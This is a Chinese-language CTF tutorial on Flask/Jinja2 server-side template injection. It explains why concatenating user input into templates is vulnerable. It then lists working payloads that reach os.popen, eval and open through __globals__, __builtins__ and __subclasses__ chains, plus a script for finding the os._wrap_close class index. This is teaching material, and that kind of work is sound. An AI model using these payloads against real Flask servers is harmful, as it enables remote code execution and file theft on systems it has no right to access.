目录
flask-ssti注入
0x00开场白
-
什么是框架注入,本身不是框架本身的问题,只是使用者自身的问题,后面也会详细的演示一下注入产生的原因,理解原因最重
-
你能学到什么:知道SSTI怎么产生的,在SSTI点的地方能够rec
-
在学习的时候可能不会对一些细节解释的很清楚,希望读者可以积极查看
百度(bing)来进行更为全面的学习
0x01模板注入-成因
- 将用户的输入的内容直接拼接到模板参数中
0x02模板注入-本质
- 数据和代码为未分离
0x03模板注入-出现
下面我们就地创建一个漏洞,详细分析一下成因,了解成因后在RCE
后端代码:
在这个示例中,我们使用了三个代码来渲染模板,分别是1,2,3
-
使用
render_template_string()
但是是传入用户输入的参数 -
使用render_template进行渲染,模板事先写好,然后直接传入参数:
-
第三个是
render_template_string()
传入参数,但是是拼接过 用户输入内容的模板
现在对三个函数进行测试,测试内容:{{7*7}}
测试结果如下:
从上面三个结果可以看出来,当用户输入不经过处理就输入render_template_string(
到模板中,会存在很大的风险
当然,类似的代码不止这一种,任何在模板中拼接用户输入都会导致
类似的代码还有使用jinja2的Template模板的%s参数,例如:
结果也出现了注入
0x04模板注入-注入
现在我们来讨论下当赤裸裸的出现一个模板注入的时候该怎么办
0x01注入-目标
在CTF比赛中,我们目标是获取flag,这就需要指令指令,执行指令通常由两种方法
os.popen()
和os.system
(通常不用)
system只会返回0或者1,不好用
0x02直接注入
当没有任何限制的时候就可以调用以下三个函数直接调取os从而读取内容
首先说一下注入模板的样子,有下面三个:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
通常情况下有如下的模块可以直接使用:
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}
# jinja2
{{lipsum.__globals__['os'].popen('whoami').read()}}
# 另外两个内置函数和正常逃逸一个思路
# 此外还有以下方法,使用于jinja2方法详细见末尾连接《不知道的新姿势》
存在eval,open和__import__三个危险函数:
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}
{{a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()}}
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}
简单解释下,__globals__
就是调出所有可以当前类下可用的所有对象,用数组返回
__init__
就是将这个对象实例化,实例化后就可以使用了
__builtins__
是最初载入的一堆对象,包括str()
之类的就是在这儿载入的,它的载入通常就有危险函数,详情看文末的连接
0x03 寻找注入
-
有时候上面的参数不能用的时候就需要用其他的方法来进行注入
-
主要思路就是寻找一个存在os库的方法的,然后实例化并调用它
-
寻找所有对象
常用魔术方法
__class__ 返回类型所属的对象 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用
这几个是基本的需要掌握的方法,现在通过这些方法来列出所有可用的对象
''.__class__ # 返回当前类型, #
''.__class__.base__ # 可以换成[] ,{}, () 都可以得到结果 # "".__class__.__bases__[0]结果也同样的 # ''.__class__.__mro__[-1] #返回继承对象元组,最后一个为基类 # ''.__class__.__base__.__subclasses__() # 返回该类下的所有可用方法类别,注意,这个是个函数,需要调用 # [ , , , , , , , ,...] 到此就发现了所有的可调用类
-
寻找可用的类
下一步就是寻找含有os类或者其他可用的类,怎么找呢
-
查看所有类,然后肉眼观察那些可以利用,或者使用脚本跑出os:
import json a = """
... """ num = 0 allList = [] result = "" for i in a: if i == ">": result += i allList.append(result) result = "" elif i == "n" or i == ",": continue else: result += i for k,v in enumerate(allList): if "os._wrap_close" in v: print(str(k)+"--->"+v) #返回结果:132---> -
具体就是对每个类进行实例化,然后查看是否全局含有popen就可以
"".__class__.__bases__[0].__subclasses__()[遍历位置].__init__.__globals__['popen']('ls').read()
遍历脚本脚本在此处先不展示,因为如果有注入回显,可以使用上面的方法寻找危险函数
只有没有注入回显的时候才需要上面的爆破,最简单的方式就是通过burp sutie进行爆破。
-
-
到此我们就完成了寻找os库执行命令的功能,下一节就开始探索绕过,也是重要性拉满的